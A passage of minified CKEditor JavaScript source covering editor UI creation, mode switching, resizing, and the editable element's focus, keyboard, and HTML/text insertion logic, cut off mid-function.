k=a.fire("uiSpace",{space:"top",html:""}).html,j=a.fire("uiSpace",{space:"bottom",html:""}).html,g=new CKEDITOR.template('<{outerEl} id="cke_{name}" class="{id} cke cke_reset cke_chrome cke_editor_{name} cke_{langDir} '+CKEDITOR.env.cssClass+'"  dir="{langDir}" lang="{langCode}" role="application"'+(a.title?' aria-labelledby="cke_{name}_arialbl"':"")+">"+(a.title?'<span id="cke_{name}_arialbl" class="cke_voice_label">{voiceLabel}</span>':"")+'<{outerEl} class="cke_inner cke_reset" role="presentation">{topHtml}<{outerEl} id="{contentId}" class="cke_contents cke_reset" role="presentation"></{outerEl}>{bottomHtml}</{outerEl}></{outerEl}>'),
b=CKEDITOR.dom.element.createFromHtml(g.output({id:a.id,name:b,langDir:a.lang.dir,langCode:a.langCode,voiceLabel:a.title,topHtml:k?'<span id="'+a.ui.spaceId("top")+'" class="cke_top cke_reset_all" role="presentation" style="height:auto">'+k+"</span>":"",contentId:a.ui.spaceId("contents"),bottomHtml:j?'<span id="'+a.ui.spaceId("bottom")+'" class="cke_bottom cke_reset_all" role="presentation">'+j+"</span>":"",outerEl:CKEDITOR.env.ie?"span":"div"}));if(f==CKEDITOR.ELEMENT_MODE_REPLACE){d.hide();b.insertAfter(d)}else d.append(b);
a.container=b;k&&a.ui.space("top").unselectable();j&&a.ui.space("bottom").unselectable();d=a.config.width;f=a.config.height;d&&b.setStyle("width",CKEDITOR.tools.cssLength(d));f&&a.ui.space("contents").setStyle("height",CKEDITOR.tools.cssLength(f));b.disableContextMenu();CKEDITOR.env.webkit&&b.on("focus",function(){a.focus()});a.fireOnce("uiReady")}CKEDITOR.replace=function(b,e){return a(b,e,null,CKEDITOR.ELEMENT_MODE_REPLACE)};CKEDITOR.appendTo=function(b,e,d){return a(b,e,d,CKEDITOR.ELEMENT_MODE_APPENDTO)};
CKEDITOR.replaceAll=function(){for(var a=document.getElementsByTagName("textarea"),b=0;b<a.length;b++){var d=null,f=a[b];if(f.name||f.id){if(typeof arguments[0]=="string"){if(!RegExp("(?:^|\\s)"+arguments[0]+"(?:$|\\s)").test(f.className))continue}else if(typeof arguments[0]=="function"){d={};if(arguments[0](f,d)===false)continue}this.replace(f,d)}}};CKEDITOR.editor.prototype.addMode=function(a,b){(this._.modes||(this._.modes={}))[a]=b};CKEDITOR.editor.prototype.setMode=function(a,b){var d=this,f=
this._.modes;if(!(a==d.mode||!f||!f[a])){d.fire("beforeSetMode",a);if(d.mode){var k=d.checkDirty(),f=d._.previousModeData,j,g=0;d.fire("beforeModeUnload");d.editable(0);d._.previousMode=d.mode;d._.previousModeData=j=d.getData(1);if(d.mode=="source"&&f==j){d.fire("lockSnapshot",{forceUpdate:true});g=1}d.ui.space("contents").setHtml("");d.mode=""}else d._.previousModeData=d.getData(1);this._.modes[a](function(){d.mode=a;k!==void 0&&!k&&d.resetDirty();g?d.fire("unlockSnapshot"):a=="wysiwyg"&&d.fire("saveSnapshot");
setTimeout(function(){d.fire("mode");b&&b.call(d)},0)})}};CKEDITOR.editor.prototype.resize=function(a,b,d,f){var k=this.container,j=this.ui.space("contents"),g=CKEDITOR.env.webkit&&this.document&&this.document.getWindow().$.frameElement,f=f?this.container.getFirst(function(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.hasClass("cke_inner")}):k;f.setSize("width",a,true);g&&(g.style.width="1%");j.setStyle("height",Math.max(b-(d?0:(f.$.offsetHeight||0)-(j.$.clientHeight||0)),0)+"px");g&&(g.style.width=
"100%");this.fire("resize")};CKEDITOR.editor.prototype.getResizable=function(a){return a?this.ui.space("contents"):this.container};CKEDITOR.domReady(function(){CKEDITOR.replaceClass&&CKEDITOR.replaceAll(CKEDITOR.replaceClass)})})();CKEDITOR.config.startupMode="wysiwyg";
(function(){function a(a){var b=a.editor,d=a.data.path,e=d.blockLimit,l=a.data.selection,p=l.getRanges()[0],r;if(CKEDITOR.env.gecko||CKEDITOR.env.ie&&CKEDITOR.env.needsBrFiller)if(l=f(l,d)){l.appendBogus();r=CKEDITOR.env.ie}if(h(b,d.block,e)&&p.collapsed&&!p.getCommonAncestor().isReadOnly()){d=p.clone();d.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS);e=new CKEDITOR.dom.walker(d);e.guard=function(a){return!c(a)||a.type==CKEDITOR.NODE_COMMENT||a.isReadOnly()};if(!e.checkForward()||d.checkStartOfBlock()&&
d.checkEndOfBlock()){b=p.fixBlock(true,b.activeEnterMode==CKEDITOR.ENTER_DIV?"div":"p");if(!CKEDITOR.env.needsBrFiller)(b=b.getFirst(c))&&(b.type==CKEDITOR.NODE_TEXT&&CKEDITOR.tools.trim(b.getText()).match(/^(?:&nbsp;|\xa0)$/))&&b.remove();r=1;a.cancel()}}r&&p.select()}function f(a,b){if(a.isFake)return 0;var d=b.block||b.blockLimit,e=d&&d.getLast(c);if(d&&d.isBlockBoundary()&&(!e||!(e.type==CKEDITOR.NODE_ELEMENT&&e.isBlockBoundary()))&&!d.is("pre")&&!d.getBogus())return d}function b(a){var b=a.data.getTarget();
if(b.is("input")){b=b.getAttribute("type");(b=="submit"||b=="reset")&&a.data.preventDefault()}}function c(a){return s(a)&&w(a)}function e(a,b){return function(c){var d=CKEDITOR.dom.element.get(c.data.$.toElement||c.data.$.fromElement||c.data.$.relatedTarget);(!d||!b.equals(d)&&!b.contains(d))&&a.call(this,c)}}function d(a){function b(a){return function(b,e){e&&(b.type==CKEDITOR.NODE_ELEMENT&&b.is(f))&&(d=b);if(!e&&c(b)&&(!a||!m(b)))return false}}var d,e=a.getRanges()[0],a=a.root,f={table:1,ul:1,ol:1,
dl:1};if(e.startPath().contains(f)){var p=e.clone();p.collapse(1);p.setStartAt(a,CKEDITOR.POSITION_AFTER_START);a=new CKEDITOR.dom.walker(p);a.guard=b();a.checkBackward();if(d){p=e.clone();p.collapse();p.setEndAt(d,CKEDITOR.POSITION_AFTER_END);a=new CKEDITOR.dom.walker(p);a.guard=b(true);d=false;a.checkForward();return d}}return null}function h(a,b,c){return a.config.autoParagraph!==false&&a.activeEnterMode!=CKEDITOR.ENTER_BR&&a.editable().equals(c)&&!b||b&&b.getAttribute("contenteditable")=="true"}
function k(a){a.editor.focus();a.editor.fire("saveSnapshot")}function j(a){var b=a.editor;b.getSelection().scrollIntoView();setTimeout(function(){b.fire("saveSnapshot")},0)}function g(a,b,c){for(var d=a.getCommonAncestor(b),b=a=c?b:a;(a=a.getParent())&&!d.equals(a)&&a.getChildCount()==1;)b=a;b.remove()}CKEDITOR.editable=CKEDITOR.tools.createClass({base:CKEDITOR.dom.element,$:function(a,b){this.base(b.$||b);this.editor=a;this.status="unloaded";this.hasFocus=false;this.setup()},proto:{focus:function(){var a;
if(CKEDITOR.env.webkit&&!this.hasFocus){a=this.editor._.previousActive||this.getDocument().getActive();if(this.contains(a)){a.focus();return}}try{this.$[CKEDITOR.env.ie&&this.getDocument().equals(CKEDITOR.document)?"setActive":"focus"]()}catch(b){if(!CKEDITOR.env.ie)throw b;}if(CKEDITOR.env.safari&&!this.isInline()){a=CKEDITOR.document.getActive();a.equals(this.getWindow().getFrame())||this.getWindow().focus()}},on:function(a,b){var c=Array.prototype.slice.call(arguments,0);if(CKEDITOR.env.ie&&/^focus|blur$/.exec(a)){a=
a=="focus"?"focusin":"focusout";b=e(b,this);c[0]=a;c[1]=b}return CKEDITOR.dom.element.prototype.on.apply(this,c)},attachListener:function(a){!this._.listeners&&(this._.listeners=[]);var b=Array.prototype.slice.call(arguments,1),b=a.on.apply(a,b);this._.listeners.push(b);return b},clearListeners:function(){var a=this._.listeners;try{for(;a.length;)a.pop().removeListener()}catch(b){}},restoreAttrs:function(){var a=this._.attrChanges,b,c;for(c in a)if(a.hasOwnProperty(c)){b=a[c];b!==null?this.setAttribute(c,
b):this.removeAttribute(c)}},attachClass:function(a){var b=this.getCustomData("classes");if(!this.hasClass(a)){!b&&(b=[]);b.push(a);this.setCustomData("classes",b);this.addClass(a)}},changeAttr:function(a,b){var c=this.getAttribute(a);if(b!==c){!this._.attrChanges&&(this._.attrChanges={});a in this._.attrChanges||(this._.attrChanges[a]=c);this.setAttribute(a,b)}},insertHtml:function(a,b){k(this);q(this,b||"html",a)},insertText:function(a){k(this);var b=this.editor,c=b.getSelection().getStartElement().hasAscendant("pre",
true)?CKEDITOR.ENTER_BR:b.activeEnterMode,b=c==CKEDITOR.ENTER_BR,d=CKEDITOR.tools,a=d.htmlEncode(a.replace(/\r\n/g,"\n")),a=a.replace(/\t/g,"&nbsp;&nbsp; &nbsp;"),c=c==CKEDITOR.ENTER_P?"p":"div";if(!b){var e=/\n{2}/g;if(e.test(a))var f="<"+c+">",r="</"+c+">",a=f+a.replace(e,function(){return r+f})+r}a=a.replace(/\n/g,"<br>");b||(a=a.replace(RegExp("<br>(?=</"+c+">)"),function(a){return d.repeat(a,2)}));a=a.replace(/^ | $/g,"&nbsp;");a=a.replace(/(>|\s) /g,function(a,b){return b+"&nbsp;"}).replace(/ (?=<)/g,
"&nbsp;");q(this,"text",a)},insertElement:function(a,b){b?this.insertElementIntoRange(a,b):this.insertElementIntoSelection(a)},insertElementIntoRange:function(a,b){var c=this.editor,d=c.config.enterMode,e=a.getName(),f=CKEDITOR.dtd.$block[e];if(b.checkReadOnly())return false;b.deleteContents(1);b.startContainer.type==CKEDITOR.NODE_ELEMENT&&b.startContainer.is({tr:1,table:1,tbody:1,thead:1,tfoot:1})&&t(b);var r,n;if(f)for(;(r=b.getCommonAncestor(0,1))&&(n=CKEDITOR.dtd[r.getName()])&&(!n||!n[e]);)if(r.getName()in
CKEDITOR.dtd.span)b.splitElement(r);else if(b.checkStartOfBlock()&&b.checkEndOfBlock()){b.setStartBefore(r);b.collapse(true);r.remove()}else b.splitBlock(d==CKEDITOR.ENTER_DIV?"div":"p",c.editable());b.insertNode(a);return true},insertElementIntoSelection:function(a){k(this);var b=this.editor,d=b.activeEnterMode,b=b.getSelection(),e=b.getRanges()[0],f=a.getName(),f=CKEDITOR.dtd.$block[f];if(this.insertElementIntoRange(a,e)){e.moveToPosition(a,CKEDITOR.POSITION_AFTER_END);if(f)if((f=a.getNext(function(a){return c(a)&&
!m(a)}))&&f.type==CKEDITOR.NODE_ELEMENT&&f.is(CKEDITOR.dtd.$block))f.getDtd()["#"]?e.moveToElementEditStart(f):e.moveToElementEditEnd(a);else if(!f&&d!=CKEDITOR.ENTER_BR){f=e.fixBlock(true,d==CKEDITOR.ENTER_DIV?"div":"p");e.moveToElementEditStart(f)}}b.selectRanges([e]);j(this)},setData:function(a,b){b||(a=this.editor.dataProcessor.toHtml(a));this.setHtml(a);this.fixInitialSelection();if(this.status=="unloaded")this.status="ready";this.editor.fire("dataReady")},getData:function(a){var b=this.getHtml();
a||(b=this.editor.dataProcessor.toDataFormat(b));return b},setReadOnly:function(a){this.setAttribute("contenteditable",!a)},detach:function(){this.removeClass("cke_editable");this.status="detached";var a=this.editor;this._.detach();delete a.document;delete a.window},isInline:function(){return this.getDocument().equals(CKEDITOR.document)},fixInitialSelection:function(){function a(){var b=c.getDocument().$,d=b.getSelection(),e;if(d.anchorNode&&d.anchorNode==c.$)e=true;else if(CKEDITOR.env.webkit){var f=
c.getDocument().getActive();f&&(f.equals(c)&&!d.anchorNode)&&(e=true)}if(e){e=new CKEDITOR.dom.range(c);e.moveToElementEditStart(c);b=b.createRange();b.setStart(e.startContainer.$,e.startOffset);b.collapse(true);d.removeAllRanges();d.addRange(b)}}function b(){var a=c.getDocument().$,d=a.selection,e=c.getDocument().getActive();if(d.type=="None"&&e.equals(c)){d=new CKEDITOR.dom.range(c);a=a.body.createTextRange();d.moveToElementEditStart(c);d=d.startContainer;d.type!=CKEDITOR.NODE_ELEMENT&&(d=d.getParent());
a.moveToElementText(d.$);a.collapse(true);a.select()}}var c=this;if(CKEDITOR.env.ie&&(CKEDITOR.env.version<9||CKEDITOR.env.quirks)){if(this.hasFocus){this.focus();b()}}else if(this.hasFocus){this.focus();a()}else this.once("focus",function(){a()},null,null,-999)},setup:function(){var a=this.editor;this.attachListener(a,"beforeGetData",function(){var b=this.getData();this.is("textarea")||a.config.ignoreEmptyParagraph!==false&&(b=b.replace(y,function(a,b){return b}));a.setData(b,null,1)},this);this.attachListener(a,
"getSnapshot",function(a){a.data=this.getData(1)},this);this.attachListener(a,"afterSetData",function(){this.setData(a.getData(1))},this);this.attachListener(a,"loadSnapshot",function(a){this.setData(a.data,1)},this);this.attachListener(a,"beforeFocus",function(){var b=a.getSelection();(b=b&&b.getNative())&&b.type=="Control"||this.focus()},this);this.attachListener(a,"insertHtml",function(a){this.insertHtml(a.data.dataValue,a.data.mode)},this);this.attachListener(a,"insertElement",function(a){this.insertElement(a.data)},
this);this.attachListener(a,"insertText",function(a){this.insertText(a.data)},this);this.setReadOnly(a.readOnly);this.attachClass("cke_editable");this.attachClass(a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?"cke_editable_inline":a.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE||a.elementMode==CKEDITOR.ELEMENT_MODE_APPENDTO?"cke_editable_themed":"");this.attachClass("cke_contents_"+a.config.contentsLangDirection);a.keystrokeHandler.blockedKeystrokes[8]=+a.readOnly;a.keystrokeHandler.attach(this);this.on("blur",
function(){this.hasFocus=false},null,null,-1);this.on("focus",function(){this.hasFocus=true},null,null,-1);a.focusManager.add(this);if(this.equals(CKEDITOR.document.getActive())){this.hasFocus=true;a.once("contentDom",function(){a.focusManager.focus(this)},this)}this.isInline()&&this.changeAttr("tabindex",a.tabIndex);if(!this.is("textarea")){a.document=this.getDocument();a.window=this.getWindow();var e=a.document;this.changeAttr("spellcheck",!a.config.disableNativeSpellChecker);var f=a.config.contentsLangDirection;
this.getDirection(1)!=f&&this.changeAttr("dir",f);var h=CKEDITOR.getCss();if(h){f=e.getHead();if(!f.getCustomData("stylesheet")){h=e.appendStyleText(h);h=new CKEDITOR.dom.element(h.ownerNode||h.owningElement);f.setCustomData("stylesheet",h);h.data("cke-temp",1)}}f=e.getCustomData("stylesheet_ref")||0;e.setCustomData("stylesheet_ref",f+1);this.setCustomData("cke_includeReadonly",!a.config.disableReadonlyStyling);this.attachListener(this,"click",function(a){var a=a.data,b=(new CKEDITOR.dom.elementPath(a.getTarget(),
this)).contains("a");b&&(a.$.button!=2&&b.isReadOnly())&&a.preventDefault()});var l={8:1,46:1};this.attachListener(a,"key",function(b){if(a.readOnly)return true;var c=b.data.domEvent.getKey(),e;if(c in l){var b=a.getSelection(),f,h=b.getRanges()[0],g=h.startPath(),o,m,j,c=c==8;if(CKEDITOR.env.ie&&CKEDITOR.env.version<11&&(f=b.getSelectedElement())||(f=d(b))){a.fire("saveSnapshot");h.moveToPosition(f,CKEDITOR.POSITION_BEFORE_START);f.remove();h.select();a.fire("saveSnapshot");e=1}else if(h.collapsed)if((o=
g.block)&&(j=o[c?"getPrevious":"getNext"](s))&&j.type==CKEDITOR.NODE_ELEMENT&&j.is("table")&&h[c?"checkStartOfBlock":"checkEndOfBlock"]()){a.fire("saveSnapshot");h[c?"checkEndOfBlock":"checkStartOfBlock"]()&&o.remove();h["moveToElementEdit"+(c?"End":"Start")](j);h.select();a.fire("saveSnapshot");e=1}else if(g.blockLimit&&g.blockLimit.is("td")&&(m=g.blockLimit.getAscendant("table"))&&h.checkBoundaryOfElement(m,c?CKEDITOR.START:CKEDITOR.END)&&(j=m[c?"getPrevious":"getNext"](s))){a.fire("saveSnapshot");
h["moveToElementEdit"+(c?"End":"Start")](j);h.checkStartOfBlock()&&h.checkEndOfBlock()?j.remove():h.select();a.fire("saveSnapshot");e=1}else if((m=g.contains(["td","th","caption"]))&&h.checkBoundaryOfElement(m,c?CKEDITOR.START:CKEDITOR.END))e=1}return!e});a.blockless&&(CKEDITOR.env.ie&&CKEDITOR.env.needsBrFiller)&&this.attachListener(this,"keyup",function(b){if(b.data.getKeystroke()in l&&!this.getFirst(c)){this.appendBogus();b=a.createRange();b.moveToPosition(this,CKEDITOR.POSITION_AFTER_START);b.select()}});
this.attachListener(this,"dblclick",function(b){if(a.readOnly)return false;b={element:b.data.getTarget()};a.fire("doubleclick",b)});CKEDITOR.env.ie&&this.attachListener(this,"click",b);CKEDITOR.env.ie||this.attachListener(this,"mousedown",function(b){var c=b.data.getTarget();if(c.is("img","hr","input","textarea","select")&&!c.isReadOnly()){a.getSelection().selectElement(c);c.is("input","textarea","select")&&b.data.preventDefault()}});CKEDITOR.env.gecko&&this.attachListener(this,"mouseup",function(b){if(b.data.$.button==
2){b=b.data.getTarget();if(!b.getOuterHtml().replace(y,"")){var c=a.createRange();c.moveToElementEditStart(b);c.select(true)}}});if(CKEDITOR.env.webkit){this.attachListener(this,"click",function(a){a.data.getTarget().is("input","select")&&a.data.preventDefault()});this.attachListener(this,"mouseup",function(a){a.data.getTarget().is("input","textarea")&&a.data.preventDefault()})}CKEDITOR.env.webkit&&this.attachListener(a,"key",function(b){b=b.data.domEvent.getKey();if(b in l){var c=b==8,d=a.getSelection().getRanges()[0],
b=d.startPath();if(d.collapsed){var e;a:{var f=b.block;if(f)if(d[c?"checkStartOfBlock":"checkEndOfBlock"]())if(!d.moveToClosestEditablePosition(f,!c)||!d.collapsed)e=false;else{if(d.startContainer.type==CKEDITOR.NODE_ELEMENT){var h=d.startContainer.getChild(d.startOffset-(c?1:0));if(h&&h.type==CKEDITOR.NODE_ELEMENT&&h.is("hr")){a.fire("saveSnapshot");h.remove();e=true;break a}}if((d=d.startPath().block)&&(!d||!d.contains(f))){a.fire("saveSnapshot");var j;(j=(c?d:f).getBogus())&&j.remove();e=a.getSelection();
j=e.createBookmarks();(c?f:d).moveChildren(c?d:f,false);b.lastElement.mergeSiblings();g(f,d,!c);e.selectBookmarks(j);e=true}}else e=false;else e=false}if(!e)return}else{c=d;e=b.block;j=c.endPath().block;if(!e||!j||e.equals(j))b=false;else{a.fire("saveSnapshot");(f=e.getBogus())&&f.remove();c.deleteContents();if(j.getParent()){j.moveChildren(e,false);b.lastElement.mergeSiblings();g(e,j,true)}c=a.getSelection().getRanges()[0];c.collapse(1);c.select();b=true}if(!b)return}a.getSelection().scrollIntoView();
a.fire("saveSnapshot");return false}},this,null,100)}}},_:{detach:function(){this.editor.setData(this.editor.getData(),0,1);this.clearListeners();this.restoreAttrs();var a;if(a=this.removeCustomData("classes"))for(;a.length;)this.removeClass(a.pop());if(!this.is("textarea")){a=this.getDocument();var b=a.getHead();if(b.getCustomData("stylesheet")){var c=a.getCustomData("stylesheet_ref");if(--c)a.setCustomData("stylesheet_ref",c);else{a.removeCustomData("stylesheet_ref");b.removeCustomData("stylesheet").remove()}}}this.editor.fire("contentDomUnload");
delete this.editor}}});CKEDITOR.editor.prototype.editable=function(a){var b=this._.editable;if(b&&a)return 0;if(arguments.length)b=this._.editable=a?a instanceof CKEDITOR.editable?a:new CKEDITOR.editable(this,a):(b&&b.detach(),null);return b};var m=CKEDITOR.dom.walker.bogus(),y=/(^|<body\b[^>]*>)\s*<(p|div|address|h\d|center|pre)[^>]*>\s*(?:<br[^>]*>|&nbsp;|\u00A0|&#160;)?\s*(:?<\/\2>)?\s*(?=$|<\/body>)/gi,s=CKEDITOR.dom.walker.whitespaces(true),w=CKEDITOR.dom.walker.bookmark(false,true);CKEDITOR.on("instanceLoaded",
function(b){var c=b.editor;c.on("insertElement",function(a){a=a.data;if(a.type==CKEDITOR.NODE_ELEMENT&&(a.is("input")||a.is("textarea"))){a.getAttribute("contentEditable")!="false"&&a.data("cke-editable",a.hasAttribute("contenteditable")?"true":"1");a.setAttribute("contentEditable",false)}});c.on("selectionChange",function(b){if(!c.readOnly){var d=c.getSelection();if(d&&!d.isLocked){d=c.checkDirty();c.fire("lockSnapshot");a(b);c.fire("unlockSnapshot");!d&&c.resetDirty()}}})});CKEDITOR.on("instanceCreated",
function(a){var b=a.editor;b.on("mode",function(){var a=b.editable();if(a&&a.isInline()){var c=b.title;a.changeAttr("role","textbox");a.changeAttr("aria-label",c);c&&a.changeAttr("title",c);var d=b.fire("ariaEditorHelpLabel",{}).label;if(d)if(c=this.ui.space(this.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?"top":"contents")){var e=CKEDITOR.tools.getNextId(),d=CKEDITOR.dom.element.createFromHtml('<span id="'+e+'" class="cke_voice_label">'+d+"</span>");c.append(d);a.changeAttr("aria-describedby",e)}}})});
CKEDITOR.addCss(".cke_editable{cursor:text}.cke_editable img,.cke_editable input,.cke_editable textarea{cursor:default}");var q=function(){function a(b){return b.type==CKEDITOR.NODE_ELEMENT}function b(c,d){var e,f,l,p,h=[],g=d.range.startContainer;e=d.range.startPath();for(var g=r[g.getName()],n=0,j=c.getChildren(),m=j.count(),o=-1,C=-1,k=0,q=e.contains(r.$list);n<m;++n){e=j.getItem(n);if(a(e)){l=e.getName();if(q&&l in CKEDITOR.dtd.$list)h=h.concat(b(e,d));else{p=!!g[l];if(l=="br"&&e.data("cke-eol")&&
(!n||n==m-1)){k=(f=n?h[n-1].node:j.getItem(n+1))&&(!a(f)||!f.is("br"));f=f&&a(f)&&r.$block[f.getName()]}o==-1&&!p&&(o=n);p||(C=n);h.push({isElement:1,isLineBreak:k,isBlock:e.isBlockBoundary(),hasBlockSibling:f,node:e,name:l,allowed:p});f=k=0}}else h.push({isElement:0,node:e,allowed:1})}if(o>-1)h[o].firstNotAllowed=1;if(C>-1)h[C].lastNotAllowed=1;return h}function d(b,c){var e=[],f=b.getChildren(),l=f.count(),p,h=0,g=r[c],n=!b.is(r.$inline)||b.is("br");for(n&&e.push(" ");h<l;h++){p=f.getItem(h);a(p)&&
!p.is(g)?e=e.concat(d(p,c)):e.push(p)}n&&e.push(" ");return e}function e(b){return b&&a(b)&&(b.is(r.$removeEmpty)||b.is("a")&&!b.isBlockBoundary())}function f(b,c,d,e){var p=b.clone(),h,r;p.setEndAt(c,CKEDITOR.POSITION_BEFORE_END);if((h=(new CKEDITOR.dom.walker(p)).next())&&a(h)&&g[h.getName()]&&(r=h.getPrevious())&&a(r)&&!r.getParent().equals(b.startContainer)&&d.contains(r)&&e.contains(h)&&h.isIdentical(r)){h.moveChildren(r);h.remove();f(b,c,d,e)}}function p(b,c){function d(b,c){if(c.isBlock&&c.isElement&&
!c.node.is("br")&&a(b)&&b.is("br")){b.remove();return 1}}var e=c.endContainer.getChild(c.endOffset),f=c.endContainer.getChild(c.endOffset-1);e&&d(e,b[b.length-1]);if(f&&d(f,b[0])){c.setEnd(c.endContainer,c.endOffset-1);c.collapse()}}var r=CKEDITOR.dtd,g={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,ul:1,ol:1,li:1,pre:1,dl:1,blockquote:1},m={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},C=CKEDITOR.tools.extend({},r.$inline);delete C.br;return function(g,n,k){var q=g.editor,v=q.getSelection().getRanges()[0],
G=false;if(n=="unfiltered_html"){n="html";G=true}if(!v.checkReadOnly()){var z=(new CKEDITOR.dom.elementPath(v.startContainer,v.root)).blockLimit||v.root,n={type:n,dontFilter:G,editable:g,editor:q,range:v,blockLimit:z,mergeCandidates:[],zombies:[]},q=n.range,G=n.mergeCandidates,B,x,E,s;if(n.type=="text"&&q.shrink(CKEDITOR.SHRINK_ELEMENT,true,false)){B=CKEDITOR.dom.element.createFromHtml("<span>&nbsp;</span>",q.document);q.insertNode(B);q.setStartAfter(B)}x=new CKEDITOR.dom.elementPath(q.startContainer);
n.endPath=E=new CKEDITOR.dom.elementPath(q.endContainer);if(!q.collapsed){var z=E.block||E.blockLimit,w=q.getCommonAncestor();z&&(!z.equals(w)&&!z.contains(w)&&q.checkEndOfBlock())&&n.zombies.push(z);q.deleteContents()}for(;(s=a(q.startContainer)&&q.startContainer.getChild(q.startOffset-1))&&a(s)&&s.isBlockBoundary()&&x.contains(s);)q.moveToPosition(s,CKEDITOR.POSITION_BEFORE_END);f(q,n.blockLimit,x,E);if(B){q.setEndBefore(B);q.collapse();B.remove()}B=q.startPath();if(z=B.contains(e,false,1)){q.splitElement(z);
n.inlineStylesRoot=z;n.inlineStylesPeak=B.lastElement}B=q.createBookmark();(z=B.startNode.getPrevious(c))&&a(z)&&e(z)&&G.push(z);(z=B.startNode.getNext(c))&&a(z)&&e(z)&&G.push(z);for(z=B.startNode;(z=z.getParent())&&e(z);)G.push(z);q.moveToBookmark(B);if(B=k){B=n.range;if(n.type=="text"&&n.inlineStylesRoot){s=n.inlineStylesPeak;q=s.getDocument().createText("{cke-peak}");for(G=n.inlineStylesRoot.getParent();!s.equals(G);){q=q.appendTo(s.clone());s=s.getParent()}k=q.getOuterHtml().split("{cke-peak}").join(k)}s=
n.blockLimit.getName();if(/^\s+|\s+$/.test(k)&&"span"in CKEDITOR.dtd[s])var y='<span data-cke-marker="1">&nbsp;</span>',k=y+k+y;k=n.editor.dataProcessor.toHtml(k,{context:null,fixForBody:false,dontFilter:n.dontFilter,filter:n.editor.activeFilter,enterMode:n.editor.activeEnterMode});s=B.document.createElement("body");s.setHtml(k);if(y){s.getFirst().remove();s.getLast().remove()}if((y=B.startPath().block)&&!(y.getChildCount()==1&&y.getBogus()))a:{var t;if(s.getChildCount()==1&&a(t=s.getFirst())&&t.is(m)){y=
t.getElementsByTag("*");B=0;for(G=y.count();B<G;B++){q=y.getItem(B);if(!q.is(C))break a}t.moveChildren(t.getParent(1));t.remove()}}n.dataWrapper=s;B=k}if(B){t=n.range;var y=t.document,D,k=n.blockLimit;B=0;var J;s=[];var H,Q,G=q=0,M,S;x=t.startContainer;var z=n.endPath.elements[0],T;E=z.getPosition(x);w=!!z.getCommonAncestor(x)&&E!=CKEDITOR.POSITION_IDENTICAL&&!(E&CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_IS_CONTAINED);x=b(n.dataWrapper,n);for(p(x,t);B<x.length;B++){E=x[B];if(D=E.isLineBreak){D=
t;M=k;var O=void 0,V=void 0;if(E.hasBlockSibling)D=1;else{O=D.startContainer.getAscendant(r.$block,1);if(!O||!O.is({div:1,p:1}))D=0;else{V=O.getPosition(M);if(V==CKEDITOR.POSITION_IDENTICAL||V==CKEDITOR.POSITION_CONTAINS)D=0;else{M=D.splitElement(O);D.moveToPosition(M,CKEDITOR.POSITION_AFTER_START);D=1}}}}if(D)G=B>0;else{D=t.startPath();if(!E.isBlock&&h(n.editor,D.block,D.blockLimit)&&(Q=n.editor.activeEnterMode!=CKEDITOR.ENTER_BR&&n.editor.config.autoParagraph!==false?n.editor.activeEnterMode==CKEDITOR.ENTER_DIV?
"div":"p":false)){Q=y.createElement(Q);Q.appendBogus();t.insertNode(Q);CKEDITOR.env.needsBrFiller&&(J=Q.getBogus())&&J.remove();t.moveToPosition(Q,CKEDITOR.POSITION_BEFORE_END)}if((D=t.startPath().block)&&!D.equals(H)){if(J=D.getBogus()){J.remove();s.push(D)}H=D}E.firstNotAllowed&&(q=1);if(q&&E.isElement){D=t.startContainer;for(M=null;D&&!r[D.getName()][E.name];){if(D.equals(k)){D=null;break}M=D;D=D.getParent()}if(D){if(M){S=t.splitElement(M);n.zombies.push(S);n.zombies.push(M)}}else{M=k.getName();
T=!B;D=B==x.length-1;M=d(E.node,M);for(var O=[],V=M.length,W=0,Y=void 0,Z=0,U=-1;W<V;W++){Y=M[W];if(Y==" "){if(!Z&&(!T||W)){O.push(new CKEDITOR.dom.text(" "));U=O.length}Z=1}else{O.push(Y);Z=0}}D&&U==O.length&&O.pop();T=O}}if(T){for(;D=T.pop();)t.insertNode(D);T=0}else t.insertNode(E.node);if(E.lastNotAllowed&&B<x.length-1){(S=w?z:S)&&t.setEndAt(S,CKEDITOR.POSITION_AFTER_START);q=0}t.collapse()}}n.dontMoveCaret=G;n.bogusNeededBlocks=s}J=n.range;var N;S=n.bogusNeededBlocks;for(T=J.createBookmark();H=
n.zombies.pop();)if(H.getParent()){Q=J.clone();Q.moveToElementEditStart(H);Q.removeEmptyBlocksAtEnd()}if(S)for(;H=S.pop();)CKEDITOR.env.needsBrFiller?H.appendBogus():H.append(J.document.createText(" "));for(;H=n.mergeCandidates.pop();)H.mergeSiblings();J.moveToBookmark(T);if(!n.dontMoveCaret){for(H=a(J.startContainer)&&J.startContainer.getChild(J.startOffset-1);H&&a(H)&&!H.is(r.$empty);){if(H.isBlockBoundary())J.moveToPosition(H,CKEDITOR.POSITION_BEFORE_END);else{if(e(H)&&H.getHtml().match(/(\s|&nbsp;)$/g)){N=
null;break}N=J.clone();N.moveToPosition(H,CKEDITOR.POSITION_BEFORE_END)}H=H.getLast(c)}N&&J.moveToRange(N)}v.select();j(g)}}}(),t=function(){function a(b){b=new CKEDITOR.dom.walker(b);b.guard=function(a,b){if(b)return false;if(a.type==CKEDITOR.NODE_ELEMENT)return a.is(CKEDITOR.dtd.$tableContent)};b.evaluator=function(a){return a.type==CKEDITOR.NODE_ELEMENT};return b}function b(a,c,d){c=a.getDocument().createElement(c);a.append(c,d);return c}function c(a){var b=a.count(),d;for(b;b-- >0;){d=a.getItem(b);
if(!CKEDITOR.tools.trim(d.getHtml())){d.appendBogus();CKEDITOR.env.ie&&(CKEDITOR.env.version<9&&d.getChildCount())&&d.getFirst().remove()}}}return function(d){var e=d.startContainer,f=e.getAscendant("table",1),h=false;c(f.getElementsByTag("td"));c(f.getElementsByTag("th"));f=d.clone();f.setStart(e,0);f=a(f).lastBackward();if(!f){f=d.clone();f.setEndAt(e,CKEDITOR.POSITION_BEFORE_END);f=a(f).lastForward();h=true}f||(f=e);if(f.is("table")){d.setStartAt(f,CKEDITOR.POSITION_BEFORE_START);d.collapse(true);
